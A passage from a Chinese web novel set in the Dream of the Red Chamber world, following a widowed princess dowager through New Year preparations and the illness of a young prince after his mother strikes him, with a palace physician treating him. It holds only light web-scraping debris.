贾瑚本来也就是想要去跟徒嘉钰炫耀一下,对于跟贾珠炫耀可没什么兴趣,贾珠可没有弟弟,因此当下就答应了下来,只是笑嘻嘻地找了一串银铃,在手上摇晃着,引得冬生扭头来看,偏偏头也抬不起来,只能顺着铃声的方向盯着看,又把手从襁褓里挣脱出来,想要去抓,贾瑚干脆将银铃放到了冬生手里,看着冬生挥舞着银铃,高兴得嘴都咧开了。 做父母的都是情愿看到孩子和睦相处,兄友弟恭,瞧着贾瑚与冬生玩得开心,张氏不免欣慰,哪知道贾瑚就是三分钟热度,很快又问道:“那老爷什么时候回来?” 说到贾赦,张氏的神情便淡了下来,说道:“这冬日里运河封冻,老爷他们没法顺水路回来,只能是走陆路,只盼着一路上顺利,赶得上回来过年!” 贾赦对贾瑚这个长子其实还是挺不错的,之前贾赦浑浑噩噩,贾瑚也没真的对这个父亲失望,几个月不见,他是真的有点想了。他低头算了算时间,如今已经是腊月二十二,明儿L就是小年,离除夕也就是七八天。他去过的最远的地方也就是贾代善停灵的铁槛寺,对于金陵老家到底有多远,根本就没有足够的概念。何况,这大冬天的要从南方赶回来,难 免要遇到风雪阻路,贾赦、贾政乃至贾敬,一个个从小养尊处优,自然不可能顶风冒雪。如此,能不能赶在年前回来,就得看老天爷赏不赏脸。 张氏对贾赦是否赶得回来压根不在意,家里还在守孝,自己又在做月子,荣国府这个年也不会大动干戈,安安静静把这年过去也就是了。 荣国府这个小年过得无甚滋味,平王府却挺热闹。 孝期不好搞什么娱乐活动,那就只能在吃上头下功夫。 二十三,糖瓜粘。平王府不仅做了许多糖瓜,还做了许多其他糖点,像是什么芝麻糖、花生糖、米花糖也就不说了,都只能说是寻常。还特别做了一些橘子糖、山楂糖、杏仁糖、薄荷糖之类,放在模具里做成不同的形状,用彩纸包好,看着就叫人生出甜意来。 糖做好了,顾晓照旧往各处一分,连同府里的下人,也分到了不少糖瓜。这年头哪怕是麦芽糖,那也是奢侈品,王府这些下人,一年到头也吃不上几次。府里头做的糖瓜都很实在,外面还裹了一层芝麻,闻起来就香喷喷的,祭过灶王爷,这些糖留下来能吃上半年。得了赏赐,第二天打扫屋子的时候,下面一个个都像是打了鸡血一样,恨不得连屋顶的琉璃瓦都用抹布细细擦一遍。 小年一过,府里头厨房就没怎么歇过。各种常规的年菜也就不说了,根本显不出厨子的本事。上辈子顾晓过年从来不回家,也懒得多做菜,一些大菜就直接买半成品,每年必买的就有一个佛跳墙,还专门查过做法。上辈子吃的佛跳墙其实多半是偷工减料版本的,如今府里头各种珍惜食材根本不缺,顾晓就吩咐荤的、素的、海鲜的各做一坛子出来尝尝看,看哪种好吃,年夜饭的时候就添上这一道菜。 厨房这些厨娘一听顾晓说的材料,就知道这个做出来肯定不会难吃,回头还是仔细调配了材料,该泡发的泡发,该熬高汤的熬高汤,又从酒库里取了上好的花雕酒,用酒坛煨煮。 做的时候还没什么感觉,等到封坛的荷叶一揭开,哪怕是素锅,也有一股子浓香喷薄而出,只教一帮厨娘目瞪口呆,对顾晓这个太妃那叫一个佩服。她们这些做惯了菜的可从来没想过,还有菜是这种做法。可惜的是,哪怕是素锅,用的那些菌菇也都是少有的山珍了,没点家底的人家,那是真吃不起。 顾晓上辈子毕竟是吃过各种科技与狠活的,佛跳墙带来的冲击也就没那么大,不像是其他人,几乎是闻到味道,就口舌生津,再一尝,更是啧啧称奇。吴嬷嬷问道:“娘娘,这菜叫做什么名字。我就吃了一口,只觉活了这么多年,简直是白活了!” 顾晓琢磨了一下,笑道:“这菜叫做福寿全!” “好名字!”一帮下人都是连声称赞,口感好,名字也好,这菜便是放到御宴上,也能当做是主菜了。 “等出了孝,这菜谱倒是可以敬上去!”顾晓也想到了这一重,孝期里面肯定是不行的,回头上头一想,你孝期不知道思念丈夫,光知道吃吃喝喝吗?就算是真的如此,也不能表现出来啊! 因此 ,顾晓当下吩咐道:给厨房那边赏几封银子[,叫她们别多嘴,只将菜谱记下来,这两年就不要再做了,便是今年年夜饭,也不要上。” 吴嬷嬷当下答应下来:“娘娘放心,我亲自去跟她们说!” 想到了这事,顾晓便有些意兴索然起来,对于白捡个第二辈子的庆幸也少了许多。这年头虽说是锦衣玉食,但是还真没有后世那么自在。尤其这孝期里头,想要干点啥都得顾忌一下,她平常看个话本子都得悄悄的,实在是无趣得紧。 顾晓也就略微失落了一会儿L,先熬过这两年,以后的日子还长着呢!她已经听说了,雍王府还养了个小戏班子,自己以后也能养一个。这年头流行的可不是京剧,而是昆曲,这个顾晓还是能欣赏得过来的。 没了佛跳墙,还能吃点别的。年节里头本就要炸许多荤素丸子,徒嘉钰喜欢的炸鹌鹑更是做了不少,顾晓又叫厨房炸了不少小酥肉、红薯条,不配辣酱,反而是用梅子酱,吃起来酸甜酥脆,直接拿来当零食,顾晓一不小心就吃多了,以至于到了晚餐的时候,只吃了半碗芸豆粥,便吃不下了。 倒是徒嘉钰胃口很好,他白天已经吃了不少炸薯条,还啃了两只炸鹌鹑,但是他这些日子不用读书写字,又不乐意一整天跟末儿L玩,而是跑到花园里头滚雪球,堆雪人,要不是府里的池子不够大,他还想要玩冰车。疯了大半天,回来哪有不饿的道理。顾晓不许他多吃油炸食品,他直接就着酸笋老鸭汤和胭脂鹅脯,吃掉一碗碧粳米饭,还想要再吃。奶娘吓了一跳,生怕他积了食,劝了半天,才有些不情愿地放下筷子。 顾晓笑道:“今儿L个晚上,咱们娘几个一块玩,回头叫厨房那边下一碗面条给你做个宵夜,吃好了就在我这边歇下!” 徒嘉钰一听,顿时来了精神。自从搬到前头之后,他就很少在正院留宿了。虽说前头也都是从小伺候他的人,但是谁也没法替代亲妈啊,当下就要去盯着别人帮他铺床,眼看着下人铺陈妥当,才乐颠颠地跑到顾晓房里来。 顾晓白天的时候叫人画了一幅升官图,其实就跟后世的大富翁差不多,顾晓琢磨着徒嘉钰对什么升官发财没什么兴趣,因此反倒是叫人根据西游记里头的情节,画了一幅图出来,里头有天宫,有灵山,有花果山,一路上的妖怪洞府也都很齐全,还有官府王宫之类。遇到妖怪就要降妖,根据不同的妖怪或者是法宝决定要停几步,还是得去天宫请人,到了王宫要盖通关文牒…… 徒嘉钰虽说没真的看过西游记,但是西游记的故事却是听过不少,之前王府里头还唱过大闹天宫的戏呢!这会儿L一看这幅图,就回想起来,再一看旁边做成唐僧师徒的棋子,立马叫道:“我要做孙悟空!” 顾晓笑道:“行,那妈妈做唐僧好了!”师徒四人的出发点是不一样的,孙悟空要从花果山开始,唐僧就得从江州开始,猪八戒和沙僧就得从天宫开始,然后掷骰子走剧情。 春香和春晓自告奋勇,拿了猪八戒和沙僧的棋子,四个人凑到一起,就开始玩起来。 春香和春晓两个人居然是掷骰子的高手,要几点有几点。高手陪玩▋_[(,直哄得徒嘉钰兴致盎然,第一个就到了灵山,被封为斗战胜佛,只高兴得手舞足蹈。 他没看过全本的西游记,下棋的时候遇上不知道的,就缠着顾晓问,顾晓就算是记得没那么清楚了,一看地图上的妖怪名字和法宝,也就回想起来了,粗略给徒嘉钰讲一讲。 徒嘉钰听着不过瘾,一局下完,便丢掉棋子,缠着顾晓问道:“妈,你看过这个《西游记》吗?” 顾晓随口说道:“当然看过啦!”她小时候没有零花钱,买不起书,为了借同学的连环画,就帮人写作业换,真正看原版书,那也是上了大学之后的事情了。 徒嘉钰眼睛一亮:“那妈妈你讲给我听好不好?” 顾晓现在哪里还记得多少,琢磨了一下,笑道:“你现在都在读书了,回头妈妈叫人买了书回来,你自己看好不好?以后还能讲给弟弟听,你觉得怎么样?” 一边吴嬷嬷顿时有点急,小孩子能看这样的话本吗,要是移了性情,那该怎么办?不过顾晓对此倒是不怎么在意,放在后世,这可是古典名著,人家鼓励小孩子看的! 徒嘉钰有些失望:“妈妈你不是看过吗?怎么你也没有!” 顾晓只得找补回来,毕竟原身闺阁里看过的也就是《西厢》、《牡丹亭》之类的,就这还得私底下偷偷看,像是什么《西游记》之类的,其实真没看过,因此便哄他说道:“妈妈也就是听过几折子戏,又听别人说过一些,零零散散看过一点,也没看过全篇,到时候买回来,咱娘俩也能一起看!” 徒嘉钰听了,也不再纠缠,时候已经不早,他忍不住打了个呵欠,顾晓连忙叫人带着他洗漱,看着他在隔间歇了下来,这才回了自个屋里。 顾晓坐在梳妆台前,春燕快手快脚地帮着顾晓拆掉头上的钗环,准备洗漱之后就寝,外头却传来急匆匆的脚步声,春雨快步出去探问情况,不多久就回来了,神情凝重:“娘娘,二公子病了!”! 第 40 章 顾晓一转头,结果春燕来不及松手,叫一根钗子勾住了顾晓的发髻,扯得顾晓头皮都疼了一下,她也顾不得这些了,忙问道:“怎么回事,这些日子也没什么风雪,之前不一直好好的吗?” 春雨面上神情也不是很好,说道:“那边只说二公子可能是夜里受了凉,一早就开始发热,一天水米不进,侧太妃娘娘实在没办法,这才报了上来!” 顾晓立刻站了起来,说道:“伺候的人是干什么吃的,早上就在发热,侧太妃说不报就不报了?二公子虽说是她生的,那也是王府的主子,正经的龙孙,竟然还敢遮掩!快,取了王府的帖子,立刻去太医院请太医!” “娘娘,已经宵禁了!”春燕提醒道。 顾晓皱眉说道:“事急从权,遇上巡夜的人,拿了王府的牌子,说清楚便是!咱们就是去太医院的值房,又不叩宫门!” 一边说着,顾晓一边吩咐人拿了厚衣裳过来给自己船上,春香又急匆匆拿了一件靛青色灰鼠皮底的斗篷过来,给顾晓戴上风帽,系上带子,这才跟着顾晓一起往西院走去。 西院那边,李氏这会儿几乎要哭得晕过去。 徒嘉泽这病还真不是莫名闹出来的,那日李氏拿了各色衣料还有绣线回去,因着正月里不宜动针,所以她想着年前先将衣服裁剪出来,大致缝好。她自己不是什么勤快人,只能是使唤下头的丫头,觉得自个身边的丫头不够用,连伺候徒嘉泽的丫头都叫去了。徒嘉泽身边伺候的竟是只剩下了两个奶娘还有几个粗使的小丫头。 这等粗使的小丫头素来是不能进屋的,只能在外头做一些粗活,两个奶娘又要看着徒嘉泽,又要做原本几个大丫头该做的事情,哪里还忙得过来。 徒嘉泽在自个屋里头觉得无聊,便跑到李氏屋里,李氏也没当回事,卧室里头光线不好,她就带着人在堂屋里头做针线,卧室闷头帘子也卷了起来,也能看到屋里大致的情况。因此,便由得徒嘉泽在屋里玩。 李氏还是见识太少,不知道什么叫做“孩子静悄悄,一定在作妖”。小孩子的破坏力是惊人的,徒嘉泽自然也不例外。他开了李氏的妆奁,将里头的胭脂水粉都掏了出来,拿着胭脂水粉到处涂抹,先是在炕上乱涂乱抹,原本叠在一边的被子都被他拉开,用手指蘸着胭脂,兴冲冲地在被面上画出一个个红点。如今孝期,被面颜色暗沉,摸了胭脂也不好看,徒嘉泽又从炕上跳下来,将地上铺着的羊毛毡子涂得乱七八糟。之后又踩在凳子上开了李氏装衣裳的箱笼,将那些脂粉螺子黛往箱笼里头丢…… 等到李氏想起来去看儿子的时候,屋子里面已经是一团糟,徒嘉泽还在那里跟她的珠花较劲,他已经找到了一个小剪刀,想要将串珠花的金银丝剪断,将那些珍珠拆下来玩。 李氏一看就炸了,她原本心中就憋着一口气,这会儿简直像是往里头加了一把火,怒气一下子膨胀起来,直接摧毁了她的理智。 李氏快步上前,一巴掌就扇了过去,直接打在了徒嘉泽 的脸上,徒嘉泽直接被打翻在地。 从徒嘉泽出生以后,谁敢在他身上动一根手指头,他就算是顽皮捣蛋不讲道理的时候,也都是一群人围着哄着的,这回被亲妈一巴掌打得两眼直冒金星,脸上都明显出现了指印,徒嘉泽顿时就大哭起来。 瞧着孩子哭,你要是立刻去哄,很多时候他只会越哭越来劲。李氏虽然没有立刻去哄,那些下人却是吓了一跳。 李氏是主子,这徒嘉泽更是正经的主子。没了徒宏远,李氏这个侧太妃在府里头也就是名头略好听罢了,实际上地位早就大不如前。而徒嘉泽却不同,他将来铁定是会有个正经爵位的,他这样的身份,被李氏打了,回头被追究起来,她们这些做下人的,哪个逃的开干系。 当下一些人拉住还在愤怒之中的李氏,一些人就跑过去抱起徒嘉泽,想尽办法哄了起来。 李氏还在那里咆哮:“让他哭,才多大点孩子,就知道作践东西!当现在还是之前吗?” 玉露吓了一跳,连忙说道:“娘娘,东西再贵重,还能比二公子贵重吗?二公子不过是年纪小,不懂事!” 李氏这下想起来了:“他不懂事,他身边伺候的人呢?” 几个被拉过来做针线的丫头“扑通”一声跪在地上:“娘娘,奴婢不该擅离职守,奴婢再也不敢了!”她们看似是在认错,实际上却是将责任推给了李氏。毕竟,本来我们是要伺候二公子的,可你偏要我们过来帮着做针线,这能怪得了谁呢? 说话间,徒嘉泽的两个奶娘也得到消息跑过来了,看到徒嘉泽哭得上气不接下气,两个奶娘都心疼得很,这会儿还得先给自己辩白。一个先说:“娘娘,奴婢方才是瞧着今儿个日头好,就带着几个小丫头子给二公子将被褥什么的拿到院子里头晒一晒!” 另一个也是憋屈:“这冬天太燥,太医说二公子肺气不足,不好好养着,难免就会咳嗽,一咳还容易犯气疾,一个不好,就是一辈子的病根,所以每日里必定是要吃一盏桂花雪梨燕窝粥的,奴婢刚在就在屋里用茶炉炖着呢!怕一个不注意,火候不对,这才一直守着炉子呢!” 平常这些事情,其实都是下头一等二等丫头分派着做的,但如今不是这些丫头都被李氏叫走了吗?可是,徒嘉泽的燕窝粥又不能断顿,要不然出了问题,谁敢承担这个责任。大家都想着,徒嘉泽去李氏屋里,那边人多,哪里会出什么事。哪知道,徒嘉泽自个没把自个玩出什么毛病来,反倒是被李氏打了一巴掌,委屈成现在这个样子。 李氏也是气不过,气急败坏地将手里的帕子一丢,跺脚说道:“你们一个个都有理由,合着到最后,都是我的错不成!行了,将他抱回去,好好哄着,回头再不许叫二公子离了视线!” 两个奶娘松了口气,连忙上前抱住还在哭闹不休的徒嘉泽,给李氏匆匆行了一礼,就往徒嘉泽屋里跑去。几个丫头面面相觑了一番,也丢下手里的针线,跑回去了。 她们的本职工作是伺候徒嘉泽,为了点赏钱和料子来给李氏做活 ,那本来就是不合规矩的事情,没出事还好,出了事,她们这些人被打死都没处喊冤去。 徒嘉泽越哭越觉得委屈,自个把母妃屋里画得那么漂亮,母妃不光不夸自己,还要打自己! 奶娘丫头轮番上阵,徒嘉泽哭累了,才算是消停了下来,但是哭的时间长了,又开始忍不住得打嗝,加上脸上糊满了眼泪鼻涕,看起来格外可怜。 徒嘉泽脸嫩,李氏又是怒极动手,以至于到现在脸上还有指痕,再哭到现在,都有些红肿起来。 西院这边如今正是缩着脖子过日子的时候,原本就李氏母子两个主子住着也就罢了,如今还有三个太姨娘在,她们若是知道了这边的动静,还不定要闹出什么事情来。因此,几个人商议了一番,决定先想办法将这事遮掩过去。小孩子哭是正常的,但不能是被大人打的。 她们便又赶紧拿了热水给徒嘉泽洗脸,又拿了清热消肿的玉露珍珠膏过来给徒嘉泽抹上。瞧着徒嘉泽哭累了,有些困倦,便又给他脱了衣服,等外头的衣服脱了,这才发现他刚刚哭得厉害,跟着出了许多汗,里衣都湿了,摸着背后都有些凉津津的。她们也没意识到问题,只是赶紧给徒嘉泽将背上用热帕子擦了一遍,又用干帕子擦干,换了一身里衣,这才将人塞到被子里,哄他睡觉。 能给王府小主子做奶娘的,都是自家有孩子的人,都有些育儿经验。但是,人家的孩子也不像是徒嘉泽一样,是个脆皮。她们之前的操作对一般的孩子来说,都不算什么问题,孩子挨揍了,哭一顿,睡醒了,又是个皮猴子。 可是徒嘉泽不一样,他小睡了一会儿,醒过来人就恹恹的,燕窝粥只吃了两口便不肯再吃,晚饭更是只喝了小半碗鸭肉粥。原本他晚上吃过饭都要玩一会儿的,这回无论奶娘丫头们怎么哄,都没了兴趣,早早就躺到炕上歇着去了。 结果,这一晚上也没安宁,夜里做了噩梦,直接哭着醒过来两次,奶娘她们没了主意,便去找李氏,李氏能有什么办法,她也没经验啊,只得叫人煎了一剂安神汤,给徒嘉泽喝了,之后倒是太平了,结果大清早,喊徒嘉泽起床的时候,发现他开始发热了。 李氏还怀着一点侥幸心理,毕竟真要是徒嘉泽病了,难免牵扯到昨儿个她打了徒嘉泽的事情。按照礼法,徒嘉泽虽说是她生的,但是,顾晓可以打,徒嘉钰可以打,她这个亲妈反而没有资格打!她为了点外物打了儿子,闹将出来,就是她没理。 李氏瞧着徒嘉泽热度不算高,便觉得没什么大事,因此,干脆只叫下头人熬了姜汤给徒嘉泽吃,让他发个汗,再捂一捂,应该也就好了。 结果徒嘉泽发了汗之后的确体温降下去了,可是,等到了傍晚,又反复起来,这回再喝姜汤,就没什么效果了,而且还咳嗽起来。她这下不敢再擅自做主了,不顾时间已经不早,叫人去正院求顾晓去请太医。 顾晓到了西院,看着西院乱糟糟的,一副人心惶惶的模样,不由有些头大,她皱了皱眉,一边吴嬷嬷会意,呵斥一声,说道:“一个个兵荒马乱 的,像是个什么样子。这会子倒是一副蝎蝎螫螫的模样了,之前干什么吃的!” 李氏哭得花容惨淡,的确有些梨花带雨的模样,难怪她算不得十分美貌,却很得徒宏远的欢心,这会儿她用帕子擦着眼泪,哭道:“娘娘,我只是想着,这会儿大年节的,不好为了二公子的事情,扰了大家的兴,只当他就是晚上睡觉受了点凉,发发汗也就好了,谁承想,竟是重起来了!” 顾晓来的路上,就已经有人打听到了消息,跟她讲了,知道李氏是在避重就轻,但是她也没有追根到底的意思,而是说道:“什么你以为,事关二公子的身体,能一句你以为就能过去的吗?你是大夫还是什么?一句你以为,耽搁了二公子的病情,就算你是他生母,也当不起!” 李氏心里更委屈了,若是王爷还在,哪里会这般呢?以前她跟徒宏远,其实都默认徒嘉泽活不长的,都在为了下一胎而奋斗。若是徒宏远还在,他只怕就会安慰李氏,那是孩子福薄,不是她的错。但是到了顾晓嘴里,却将孩子凌驾于她头上,这就让她受不了了。 李氏那就是被徒宏远当初给惯坏了,后世尚且有一大堆人在社交平台上发言,表示生孩子的时候一定要自己做主,免得遇到情况,丈夫公婆要保小不保大呢!这会儿是什么时候,封建时代,男尊女卑,放到绝大多数人家,那都是子嗣为重。像是皇家,便是皇后,遇上了难产之类的事情,皇帝再跟皇后如何情深,那为了所谓的祖宗基业,也是要保小的。何况李氏只是个侧室,王府里面死了一个侧妃,还能再纳,却没人会明着说,皇孙不打紧,死了一个还能再生!哪怕皇孙只是正常夭折,那之后也是要连累一大帮人的,连同生母也会被视作福薄。 顾晓懒得理会李氏那副委委屈屈的模样,她就是个拎不清的。光想着推脱责任,却不想想看,她要是没有徒嘉泽这个儿子,那顾晓完全可以给她找个庙,打着先平王生前最宠爱她,她感念先平王的恩德,自愿为先平王诵经祈福的名头把她往里头一塞,之后她会如何,谁又会多管呢? 顾晓直接带着人进了徒嘉泽的屋子,见徒嘉泽昏睡在那里,脸上烧得通红,不时还要咳嗽几声,却都是干咳,听起来嗓子里像是卡了什么东西一样,叫人揪心。 顾晓正想要询问,之前她们觉得徒嘉泽是风寒,是否给他吃了什么药,就看着徒嘉泽竟是出现了手脚抽搐的迹象,口吐白沫,顿时吓了一跳,忙问道:“他是头一回手脚抽搐吗?” 一个奶娘赶紧上前抱住徒嘉泽,防止他因为抽搐咬到自己的舌头,口中哭道:“回娘娘的话,这已经是第二回了!”她心里已经将李氏骂了个狗血淋头,一早发现徒嘉泽发热的时候,她们几个人就跟李氏说要请太医,结果李氏硬是不肯。这下好了,孩子烧成这样,这要是有个万一,她们这些伺候的人都得跟着倒霉。 顾晓上辈子也没有孩子,哪懂这些东西,只得侧头问道:“太医还有多久到!” 一边春雨连忙说道:“算算时间,过一会儿也该到了!” 好在不多久,何太医就过来了。 他一直是负责给徒嘉泽请平安脉的,前几天还来过一趟,瞧着徒嘉泽并无什么问题,怎地才几日功夫,竟是高热不退的地步。他这大半年来,光是王府的赏钱就拿了不少,这会儿也很是尽心,带着一个提着药箱的药童,几乎是小跑着过来的。 瞧见何太医,李氏简直如同见到了救命稻草一般,连忙上前道:“何太医,今儿个全靠你了,只要能治好我家孩儿,我定有重谢!” 何太医瞧着李氏这模样,赶紧侧身避开,口中说道:侧太妃不必如此,下官尽力而为便是!??[”说着,他便看到了顾晓,连忙又给顾晓行礼:“下官见过太妃娘娘!” 顾晓赶紧说道:“不必多礼,还请太医先看看二公子再说,他刚刚惊厥了一回,也不知有无大碍!” 徒嘉钰这会儿已经平静下来,只是依旧呼吸急促,干咳不止。 何太医便上前给徒嘉钰把脉,左手右手都摸过一遍,也开始询问徒嘉钰之前可曾吃了什么药。 奶娘也顾不得遮掩了,忙说道:“二公子昨晚上惊醒了两回,娘娘叫给煎了一服安神汤,今儿个一早发热,又吃了一碗红糖姜汤,发汗之后,也就不看着好了。等傍晚的时候,二公子又发起热来,喝了一碗姜汤,结果没多久便吐了出来,到现在一直高热不止……” 何太医斟酌了一下,这才说道:“贵府二公子先是受了惊吓,以致外邪入侵,入里化热,热邪炽盛,引动肝风。安神汤倒勉强对症,这姜汤却是不行。二公子这是热症,姜汤又是热性,这热上加热,便是一时看着好转,但也就是扬汤止沸。”何太医虽说看出来徒嘉泽是受了惊吓,但是这个惊吓是怎么回事,他是不会多问的。做大夫的,尤其是做太医的,很多时候也得装糊涂,人家家里有什么事情,你寻根究底做什么呢? 顾晓忙问道:“那二公子如今这般,可要紧?” 何太医捻了捻胡须,笑道:“娘娘不必担忧,若是去年二公子这般症候,那便是有七八分的凶险,可今年嘛,下官一直给二公子请脉,以四时节气为二公子调理,二公子虽说先天有些不足,但今年已经好了不少,如此,只需清热解毒、平肝熄风,再好生将养,也便好了。只是之后,却得愈发精心,叫他能保持心平气和,不要劳心劳神,等再大一些,脏腑长成,便不会再有这等惊厥之事了!” 顾晓也松了口气,小儿难养,徒嘉泽又是个天生的脆皮,她就算是不喜欢李氏,但是孩子毕竟无辜,如今没什么大碍,那就再好不过,因此便说道:“那就请何太医开方用药!” 何太医想了想,说道:“二公子这热邪惊风,又伤了肺气,乱了脾胃,只怕一时半会儿药也喝不进去,下官想着,不如先给二公子针灸推拿一番,平复一下脾胃,再用药也不迟!” 顾晓连忙说道:“那这几日还得多多劳烦何太医了!” 何太医见顾晓答应下来,也不再询问李氏的意见,叫奶娘给徒嘉泽解了衣服,看准了穴位,在身上扎了几针之 后,徒嘉泽看起来似乎呼吸不似之前那般急促?_[(,何太医又搓了搓手,在徒嘉泽人中、涌泉等穴位处按摩了一番,再全身都推拿了一遍,这才叫奶娘重新给他穿好衣服,叮嘱奶娘先多给他喝些米汤,这几日不要吃什么肥腻之物,这才吩咐药童拿了药箱过来,开始写药方。 何太医之前说得简单,这会儿开方的时候却是反复斟酌,好半天才拟好方子,说道:“这方子三碗水熬成一碗,给二公子吃了。过两天,下官再来一次,给二公子换方。若是期间二公子有什么反复,若是去太医院值房找不到下官,也可去桐花胡同那边找下官!” 顾晓又是道了谢,旁边吴嬷嬷立刻递上了两个荷包,何太医伸手接过,稍微一掂量,就知道两个荷包加起来是二十两银子,心中顿时愉悦起来。别看王府里头动不动月钱就是十两二十两,但像是何太医这样的太医,一年到头才多少俸禄,能有个固定的出手还大方的客户,何太医巴不得呢! 像是徒嘉泽这种脆皮,就算没法吃一辈子,起码徒嘉泽没开府的这些年,肯定都绕不开何太医的。所以,别说徒嘉泽这次的病只是看着凶险,就算是真的凶险,他也得想办法将人从阎王那里拉回来再说。 而且,就因为徒嘉泽这一年没怎么生病,他擅长小儿科的名声已经在宗室里头打响了,各家有小儿生病,都优先请他,他这大半年,可是已经赚了往年五年的钱。 这会儿顾晓出手大方,何太医愈发殷勤起来,说道:“这药熬起来也快得很,下官等着二公子吃了药,看看情况,再走也不迟!” 顾晓恭维道:“何太医果然是医者仁心!” 何太医忙说道:“此乃下官职责所在,实不敢当!” 顾晓这边跟何太医说话,倒是将李氏这个亲妈变成了局外人,她拧着帕子,这会儿忍不住想要开口展示一下自己的存在感。! 第 41 章 “那二公子这病,得多久才能好!”李氏问道。 何太医也没怎么在意,笑道:“少则半月,多则二十来年,也就好齐全了!” 李氏抿了抿嘴唇,问道:“这眼看着就过年了,不能快一点吗?” 做大夫的,真的是很烦这种既要又要的病人家属,这过年不过年的,跟个生病的孩子有什么关系,尤其你们府上还守孝呢,又不需要叫孩子出门拜年!而且徒嘉泽的身体,是何太医一直看到现在的,虽说先天不足,但是以皇家的医疗条件和生活条件,只需要好生保养,自能成亲生子,颐养天年。结果如今才稍微好点呢,就折腾出个惊悸来。 何太医五天就要来一次平王府,对于这里的情况也有些了解,顾晓这个太妃素来宽厚,即便先平王没了,也肯叫侧太妃和太姨娘她们自个养着孩子,也不叫她们和孩子们日常跑到正院去请安,换做个刻薄一点的,叫妾室给主母卷帘打扇,能磋磨得你有苦说不出!结果,这侧太妃硬是生在福中不知福,竟是还想要生事。 心里这般想,何太医的语气就变得淡了起来:“侧太妃这话,下官却是不明白了。有道是病来如山倒,病去如抽丝!二公子本就先天禀赋弱了些,更该仔细将养,以免留下病根,日后受罪!侧太妃若是觉得下官医术不精,不如另选贤能吧!” 顾晓赶紧说道:“何太医言重了,侧太妃就是有口无心,她是二公子的生母,自然是盼着二公子早点好起来的。只是她出身低,不通医理药理,这才说出那些话来,还请何太医不用跟她计较!”说着,她使了个眼色,吴嬷嬷又赶紧递过去一个荷包,说道:“这天儿L也晚了,外头也冷,这个给何太医您拿去喝杯热茶,暖暖身子!” 何太医心中暗道,果然还是太妃娘娘有大家风范,做事有礼有节,嘴上却是推脱掉:“不敢不敢,这本是下官职责所在,之前拿了府上的赏封,已经是愧不敢当,哪里还能再收呢!” 顾晓笑道:“何太医您尽管手下,日后劳烦您的时候还多着呢!”说着,她横了李氏一眼,李氏吓了一跳,虽说心里头还在嘀咕,但是面上却老实起来。 不多时,下头将药煎好送了过来。因着之前徒嘉泽常年吃药,奶娘便将药倒入一个小紫砂壶中,略微凉了凉,用手试着不烫之后,便以壶嘴撬开徒嘉泽的牙关,又用手辅助他吞咽下去。 一壶药吞下去,徒嘉泽脸已经皱了起来,看着似乎想要呕吐,何太医连忙上前,将手伸进徒嘉泽衣服里推拿了一番,见他没了呕吐的意思,才将手伸了出来,又嘱咐一边的奶娘,说道:“以后若是贵府二公子吃了药想吐,就帮他揉一揉这几处,不用太用力,一会儿L便好!” 两个奶娘仔细看着,都答应了下来。她们这会儿L都颇有些劫后余生之感,琢磨着之后徒嘉泽的事情还是不能由着侧太妃做主,有什么事,得去正院请示太妃娘娘才对。 这也是怪了,搞得太妃娘娘比侧太妃娘娘这个亲娘更看重二公子一样。 送走了何太医,顾晓这才看向了李氏,言辞很是冷淡:“我就不问,这深宅大院的,二公子是怎么受了惊吓的了!但是我得再提醒李妹妹你一句,二公子虽说是你生的,但却不只是你的孩子,你这西院里头,最重要的便是二公子,你若是照顾不好,有的是人想要帮你照顾,明白没有?” 李氏憋屈得低头行礼:“姐姐说的是,妹妹明白了!” 顾晓点了点头:“希望你是真明白,不是假明白!马上就过年了,我也不希望府里再闹出什么事情来!” 李氏又只能点头应是,顾晓这才说道:“时候不早了,李妹妹你也早点歇下吧,至于二公子这边,有下人看着呢!” 这言外之意,就是信不过李氏了,可李氏还能怎么说呢! 顾晓还觉得有些不够,转头又吩咐道:“你们院里如今也没个能拿主意的人,李妹妹毕竟是年轻,许多事情考虑不周全,我记得府里当年还有个何嬷嬷,回头请了她进府,帮着西院搭把手,也免得出了什么事,都拿不定主意!” 何嬷嬷其实是婉嫔当年给徒宏远安排的人,但是,婉嫔死后,徒宏远就疏远了她。人家又不是犯贱,要热脸来贴你冷屁股,因此,瞧着徒宏远跟胡家不亲近,就直接请辞回去颐养天年了。人家本来就是世代在内务府办差的,在宫里执役多年,积攒的私房不少,娘家侄子侄媳妇也肯孝顺,自然不需要指着王府过日子。 李氏没想起来何嬷嬷是谁,但是也明白,正院这是明目张胆给西院塞眼线了,偏生她自己理亏,半点反驳的余地都没有,只得诺诺称是,好不容易送走了顾晓,回了自个屋子,就开始喊头疼。 “那娘娘要请太医吗?”玉珊小心翼翼地问道。 “请什么太医?”李氏没好气地说道,“就请了个何太医,那边都恨不得要指着我鼻子骂了,再请一次,她还不把我埋汰到地里头去!去拿一盒薄荷油过来,我记得咱们这边还有几盒鼻烟,拿一点,放鼻烟壶里头,我吸一口醒醒神!” 结果鼻烟壶拿过来,她又伤感起来。她以前哪知道这些东西,她这里的鼻烟壶都是徒宏远给的,鼻烟也都是以前的存货,如今都有些陈了,以后再想要这等上等的鼻烟,也难得了! 李氏伤感地吸了一口鼻烟,被里头的味道冲得打了个打喷嚏,鼻涕都打出来了,果然觉得脑子里都清明了许多,她叫人将鼻烟盒收好拿下去,又开始怀念起徒宏远来。 顾晓这会儿L也已经回了正院,几个丫头忙不迭地拿了热烘烘的厚帕子给她擦脸擦手。 “娘娘再泡个脚吧,这外头天寒地冻的,可不能进了寒气!”春燕提议道。 顾晓点了点头,说道:“也好,看看有没有干艾叶,放一点进去,正好驱驱寒!给吴嬷嬷也准备一个盆,让她回屋泡一泡。你们一会儿L回去,也好好泡个脚,别仗着年轻,不把身体当回事!” 几个一起跟着出去的丫头都脆生生答应了下来,寻常人家要点热水难得,王府里头别的也就罢了,要点热水又算得了什么 ,你就算是想要夜宵,厨房那边睡着了也得爬起来给你备上。 果不其然,这边才去厨房提热水,厨房那边就准备了热腾腾的羊肉汤,里面还洒了点胡椒面,装在砂锅里一起送了过来。 ?微云烟波提醒您《红楼太妃要躺平》第一时间在[]更新,记住[( 顾晓一见就笑了:“她们倒是尽心,正好,大家都分上一碗喝了吧!” 